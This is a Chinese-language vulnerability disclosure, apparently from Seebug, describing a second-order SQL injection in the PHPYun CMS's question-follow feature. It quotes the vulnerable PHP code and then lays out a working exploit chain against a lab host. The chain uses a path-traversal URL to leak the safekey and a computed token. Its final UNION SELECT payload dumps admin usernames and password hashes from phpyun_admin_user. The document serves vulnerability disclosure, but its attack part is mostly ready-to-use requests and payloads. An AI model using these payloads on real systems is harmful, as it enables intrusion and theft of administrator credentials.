<ul><li>/ask/model/index.class.php</li></ul><pre class="">$i_ids=$is_set['ids'].','.$_POST['id'];
$n_id=$this->obj->update_once("attention",array("ids"=>$i_ids),array("id"=>$is_set['id']));
if($n_id)
{
$data['uid']=$this->uid;
$data['content']=$content;
$data['ctime']=time();
$this->obj->insert_into("friend_state",$data);
echo '1';
}else{
echo '0';
}
$i_ids拼接用戶POST的id。
function attenquestion_action()
{
if($this->uid=='')
{
$this->obj->ACT_msg($_SERVER['HTTP_REFERER'],"请先登录！");
}
$this->public_action();
$ids=$this->obj->DB_select_once("attention","`uid`='".$this->uid."' and `type`='1'","`ids`");
$ids=rtrim($ids['ids'],',');
$pageurl=$this->aurl(array("url"=>"c:".$_GET['c'].",page:{{page}}"));
$question=$this->get_page("question","`id` in (".$ids.") order by `add_time` desc",$pageurl,"10");
</pre><p>将ids取出，拼接进入SQL语句导致二次注入。当用户提交：</p><pre class="">type=1&id=2) and 1=2 union select 1,md5(135148),3,4,5,6,7,8,9,10%23&safekey=5a48350556731e96b1ac590dda8db00c</pre><p>执行的SQL语句为：</p><pre class="">SELECT * FROM `phpyun_question` WHERE `id` in (2,2) and 1=2 union select 1,md5(135148),3,4,5,6,7,8,9,10#,2' and 1=2 union select 1,md5(135148),3,4,5,6,7,8,9,10#) order by `add_time` desc limit 0,10</pre><p>页面返回： </p><p><img alt="C9E66116-678C-42A4-B1E1-383F7A4BF884.png" src="https://images.seebug.org/@/uploads/1434694157752-C9E66116-678C-42A4-B1E1-383F7A4BF884.png" data-image-size="669,177"><br></p><p>申请企业帐号，记住uid（我这里uid为6），然后访问：</p><pre class="">http://10.211.55.3/phpyun/company/index.php?m=index&c=index&id=6&style=../../template/admin&tp=/admin_web_config</pre><p>获取到safekey： </p><p><img alt="66BA656D-C8DF-47C0-BD68-0FCF1484D80E.png" src="https://images.seebug.org/@/uploads/1434694185455-66BA656D-C8DF-47C0-BD68-0FCF1484D80E.png" data-image-size="658,64"><br></p><p>计算：md5(md5(safekey).'index')，计算结果为：</p><pre class="">5a48350556731e96b1ac590dda8db00c</pre><p>在地址：</p><pre class="">http://10.211.55.3/phpyun/ask/index.php?c=addquestion</pre><p>提问问题，记住问题id（我这里为14），然后退出帐号。</p><p><img alt="363FC513-EC73-4575-B9D7-CD71F1A5D98D.png" src="https://images.seebug.org/@/uploads/1434694259376-363FC513-EC73-4575-B9D7-CD71F1A5D98D.png" data-image-size="509,166"><br></p><p>再次申请一个账号，然后发送两次POST包到：</p><pre class="">http://10.211.55.3/phpyun/ask/index.php/admin/?m=index&c=attention</pre><p>内容为：</p><pre class="">type=1&id=14) and 1=2 union select 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10 from phpyun_admin_user%23&safekey=5a48350556731e96b1ac590dda8db00c</pre><p>访问地址：</p><pre class="">http://10.211.55.3/phpyun/ask/index.php?c=attenquestion</pre><p>得到admin的帐号以及密码： </p><p><img alt="E9BB2942-DA8F-408B-925D-903A7271450A.png" src="https://images.seebug.org/@/uploads/1434694281727-E9BB2942-DA8F-408B-925D-903A7271450A.png" data-image-size="659,198"><br></p>
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